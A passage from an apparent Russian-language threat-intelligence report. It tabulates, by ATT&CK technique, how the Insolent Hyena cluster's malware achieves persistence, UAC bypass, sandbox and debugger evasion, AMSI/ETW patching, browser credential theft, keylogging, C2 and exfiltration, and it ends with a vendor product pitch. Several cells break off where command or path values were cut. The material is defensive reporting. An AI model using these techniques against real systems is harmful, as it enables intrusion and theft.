Insolent Hyena закрепляется в системе с помощью создания параметра названия легитимного приложения и пути к нему в ветке |
|
Event Triggered Execution: Component Object Model Hijacking |
Insolent Hyena использует NightWire для закрепления посредством сохранения DLL‑библиотеки в |
|
|
Privilege Escalation |
Abuse Elevation Control Mechanism: Bypass User Account Control |
Insolent Hyena использует NightWire для обхода UAC посредством техники mock trusted directory и DLL side‑loading через доверенный исполняемый файл |
|
Scheduled Task/Job: Scheduled Task |
Insolent Hyena использует NightWire для создания запланированной задачи:
|
|
|
Stealth |
Debugger Evasion |
Insolent Hyena использует NightWire для обнаружения отладчика с помощью Insolent Hyena использует Excalibur, который проверяет факт отладки с помощью вызова WinAPI‑функции |
|
Deobfuscate/Decode Files or Information |
Insolent Hyena использует вредоносные DLL‑библиотеки для расшифровывания XOR‑зашифрованного шелл‑кода Octowave Loader и нагрузки CapDoor RAT перед выполнением. Insolent Hyena использует загрузчик NightWire Stager для расшифровывания загруженной нагрузки алгоритмом RC4 перед ее выполнением |
|
|
Execution Guardrails: Mutual Exclusion |
Insolent Hyena использует Excalibur, который проверяет наличие существующего мьютекса в системе для предотвращения повторного запуска и заражения системы:
|
|
|
Indicator Removal: Clear Command History |
Insolent Hyena удаляет содержимое ключа реестра RunMRU, чтобы очистить историю команд, введенных пользователем через окно «Выполнить»:
|
|
|
Indicator Removal: File Deletion |
Insolent Hyena использует Excalibur, который может удалять собственный файл с помощью
|
|
|
Obfuscated Files or Information |
Insolent Hyena использует NightWire, написанный на языке Go и обфусцированный с помощью garble |
|
|
Obfuscated Files or Information: Software Packing |
Insolent Hyena использует Excalibur, который упакован с помощью PyInstaller и дополнительно защищен протектором PyArmor |
|
|
Obfuscated Files or Information: Dynamic API Resolution |
Insolent Hyena использует CapDoor, который динамически получает адреса WinAPI‑функций. Названия функций захешированы с помощью Murmurhash3 |
|
|
Obfuscated Files or Information: Command Obfuscation |
Insolent Hyena обфусцирует командную строку |
|
|
Obfuscated Files or Information: Encrypted/Encoded File |
Insolent Hyena хранит шелл‑код Octowave Loader и CapDoor RAT в зашифрованных файлах. Insolent Hyena использует загрузчик NightWire Stager для хранения зашифрованной нагрузки NightWire в файле |
|
|
Process Injection |
Insolent Hyena использует NightWire для инжектирования шелл‑кода в процесс с переданным PID посредством выделения памяти, записи данных и создания удаленного потока. Insolent Hyena использует имплант фреймворка постэксплуатации Cobalt Strike, который может инжектировать вредоносный код в другие процессы |
|
|
System Binary Proxy Execution: Msiexec |
Insolent Hyena использует утилиту msiexec.exe для установки вредоносных MSI‑файлов и запуска следующей стадии: Insolent Hyena использует CapDoor для запуска установочных файлов MSI, применяя WinAPI‑функцию Insolent Hyena использует имплант фреймворка постэксплуатации Cobalt Strike, который устанавливался в систему с помощью msiexec |
|
|
System Binary Proxy Execution: Regsvr32 |
Insolent Hyena использует CapDoor для запуска файлов DLL, выполняя команду |
|
|
System Binary Proxy Execution: Rundll32 |
Insolent Hyena использует CapDoor для запуска файлов DLL, выполняя команду |
|
|
Virtualization/Sandbox Evasion: System Checks |
Insolent Hyena использует загрузчик NightWire Stager и NightWire для выявления песочниц и виртуальных машин посредством проверки имени пользователя, объема оперативной памяти, количества процессов, размера диска, содержимого Recent, бита гипервизора CPUID, характерных ключей реестра и количества запущенных процессов. При обнаружении подозрительного окружения загрузчик завершает работу. Insolent Hyena использует Excalibur, который выявляет использование виртуальных машин и песочниц с помощью команды CPUID и проверки имен загруженных DLL‑библиотек |
|
|
Virtualization/Sandbox Evasion: User Activity Based Checks |
Insolent Hyena использует загрузчик NightWire Stager и NightWire для проверки активности пользователя посредством сравнения координат курсора мыши до и после задержки. Отсутствие движения курсора рассматривается как признак песочницы |
|
|
Defense Impairment |
Disable or Modify Tools |
Insolent Hyena использует NightWire, который выполняет патчинг механизмов AMSI и ETW |
|
Credential Access |
Credentials from Password Stores: Credentials from Web Browsers |
Insolent Hyena использует NightWire для кражи сохраненных паролей, cookie‑файлов и данных платежных карт из браузеров. Insolent Hyena использует Excalibur для кражи чувствительных данных из браузеров |
|
Discovery |
File and Directory Discovery |
Insolent Hyena использует NightWire для рекурсивного поиска файлов по заданной маске и обхода заданной директории. Insolent Hyena использует AdaptixC2 для сбора информации о файлах и папках |
|
Peripheral Device Discovery |
Insolent Hyena использует Excalibur, осуществляющий обнаружение периферийных устройств, а именно веб‑камер |
|
|
Process Discovery |
Insolent Hyena использует AdaptixC2, который может собирать информацию об активных процессах |
|
|
System Information Discovery |
Insolent Hyena использует CapDoor для сбора информации о системе, в частности GUID вредоносной программы, имени компьютера (NetBIOS), версии ОС Windows, разрядности системы, названия процесса, информации о правах пользователя. Insolent Hyena использует NightWire для сбора имени компьютера, PID процесса, рабочей директории и сведений о наличии административных привилегий, а также для сбора характеристик системы, включая разрешение экрана, модель GPU, язык Windows, версию операционной системы и список установленных шрифтов:
Insolent Hyena использует Excalibur, который может получать информацию о системе, такую как имя компьютера и сведения об оборудовании (CPU, GPU) |
|
|
System Location Discovery |
Insolent Hyena использует NightWire для определения географического расположения компьютера по BSSID окружающих Wi‑Fi‑точек и по сведениям о внешнем IP‑адресе. Insolent Hyena использует Excalibur, который позволяет определять местоположение скомпрометированной системы по IP‑адресу и с помощью протокола locationd |
|
|
System Network Configuration Discovery |
Insolent Hyena использует Excalibur, получающий информацию о сетевой конфигурации, включая IP‑ и MAC‑адреса |
|
|
System Network Configuration Discovery: Wi‑Fi Discovery |
Insolent Hyena использует Excalibur, который получает информацию о доступных Wi‑Fi‑подключениях |
|
|
System Owner/User Discovery |
Insolent Hyena использует CapDoor для сбора информации о пользователе. В частности, собираются имя пользователя ( Insolent Hyena использует NightWire для получения имени текущего пользователя из переменной окружения Insolent Hyena использует Excalibur, получающий имя пользователя и SID |
|
|
Lateral Movement |
Remote Services: Remote Desktop Protocol |
Insolent Hyena использует NightWire для осуществления RDP‑подключения к переданному адресу |
|
Remote Services: SMB/Windows Admin Shares |
Insolent Hyena использует AdaptixC2, который может использовать именованные каналы SMB для взаимодействия с агентом |
|
|
Collection |
Archive Collected Data |
Insolent Hyena использует NightWire для упаковки собранных файлов в ZIP‑архив перед их отправкой на управляющий сервер. Insolent Hyena использует Excalibur, который упаковывает украденные данные в ZIP‑архив перед отправкой злоумышленникам |
|
Audio Capture |
Insolent Hyena использует NightWire для записи звука с микрофона в течение указанного сервером промежутка времени и отправки результата в формате WAV |
|
|
Clipboard Data |
Insolent Hyena использует NightWire для получения содержимого буфера обмена с помощью WinAPI‑функции |
|
|
Data from Local System |
Insolent Hyena использует NightWire для сбора файлов из директорий рабочего стола и загрузок пользователя. Insolent Hyena использует Excalibur, который позволяет похищать пользовательские файлы из скомпрометированной системы |
|
|
Input Capture: Keylogging |
Insolent Hyena использует NightWire для перехвата нажатий клавиш |
|
|
Screen Capture |
Insolent Hyena использует CapDoor для создания снимка экрана и его отправки на управляющий сервер. Insolent Hyena использует NightWire для создания снимков экрана в формате BMP. Insolent Hyena использует AdaptixC2 для создания снимков экрана системы. Insolent Hyena использует Excalibur, создающий снимки экрана скомпрометированной системы |
|
|
Video Capture |
Insolent Hyena использует NightWire для захвата изображений с веб‑камеры посредством дополнительного компонента |
|
|
Command and Control |
Application Layer Protocol: Web Protocols |
Insolent Hyena использует CapDoor для отправки HTTP POST — запросов на управляющий сервер с помощью WinINet API. Insolent Hyena использует AdaptixC2, который взаимодействует с управляющим сервером с помощью HTTPS. Insolent Hyena использует Excalibur, который осуществляет сетевые запросы по протоколу HTTP/HTTPS. Insolent Hyena использует имплант фреймворка постэксплуатации Cobalt Strike, который взаимодействует с управляющим сервером по протоколу HTTP. Insolent Hyena использует NetSupport, который может осуществлять передачу данных с использованием протокола HTTP/HTTPS |
|
Encrypted Channel: Symmetric Cryptography |
Insolent Hyena использует CapDoor, который шифрует принимаемые и отправляемые данные на управляющий сервер с помощью поточного шифрования Salsa20 |
|
|
Ingress Tool Transfer |
Insolent Hyena использует CapDoor для загрузки файлов (EXE, DLL, MSI) в директорию Insolent Hyena использует загрузчик NightWire Stager для загрузки финальной нагрузки NightWire с удаленного сервера через TCP‑сокет:
Insolent Hyena использует NightWire для получения с C2 дополнительного компонента захвата веб‑камеры, сохраняет его во временной директории, а также получает данные от управляющего сервера и записывает их в файл по произвольному пути. Передаваемые данные кодируются в Base64. Insolent Hyena использует AnyDesk — предположительно, для доставки других инструментов в скомпрометированную систему |
|
|
Non‑Application Layer Protocol |
Insolent Hyena использует NightWire для подключения к управляющему серверу и обмена командами с помощью TCP‑сокета Insolent Hyena использует NetSupport, который может осуществлять передачу данных с использованием TCP |
|
|
Protocol Tunneling |
Insolent Hyena использует NightWire для создания TCP‑туннеля к переданному адресу, а также при наличии конфигурации WireGuard создает зашифрованный туннель к удаленному узлу под видом VPN‑клиента |
|
|
Proxy: Internal Proxy |
Insolent Hyena использует NightWire для запуска SOCKS5‑прокси |
|
|
Remote Access Tools: Remote Desktop Software |
Insolent Hyena использует NetSupport и AnyDesk для удаленного управления скомпрометированными системами |
|
|
Exfiltration |
Exfiltration Over C2 Channel |
Insolent Hyena использует NightWire для отправки собранных данных на управляющий сервер. Insolent Hyena использует AdaptixC2 для выгрузки файлов на управляющий сервер. Insolent Hyena использует NetSupport для передачи данных на управляющий сервер |
|
Exfiltration Over Web Service |
Insolent Hyena использует Excalibur для отправки украденных данных на файлообменные сервисы |
Чтобы защититься от атак Insolent Hyena и подобных группировок, важно не только обнаружить попытку проникновения в сеть, но и вовремя нейтрализовать угрозу. Поэтому мы рекомендуем внедрять решения для защиты конечных точек от сложных угроз, например BI.ZONE EDR. Такой продукт поможет отследить атаку до наступления ущерба, а затем оперативно отреагировать на нее в автоматическом режиме или с участием команды кибербезопасности.
Чтобы выстроить эффективную киберзащиту, важно понимать, какие инструменты используют кластеры активности в реальных атаках. Здесь помогает BI.ZONE Threat Intelligence. Портал предоставляет подробную информацию об актуальных атаках, злоумышленниках, их тактиках, техниках, инструментах и эксплуатируемых уязвимостях. Эти данные помогают проактивно защищать компанию и быстро реагировать на киберинциденты.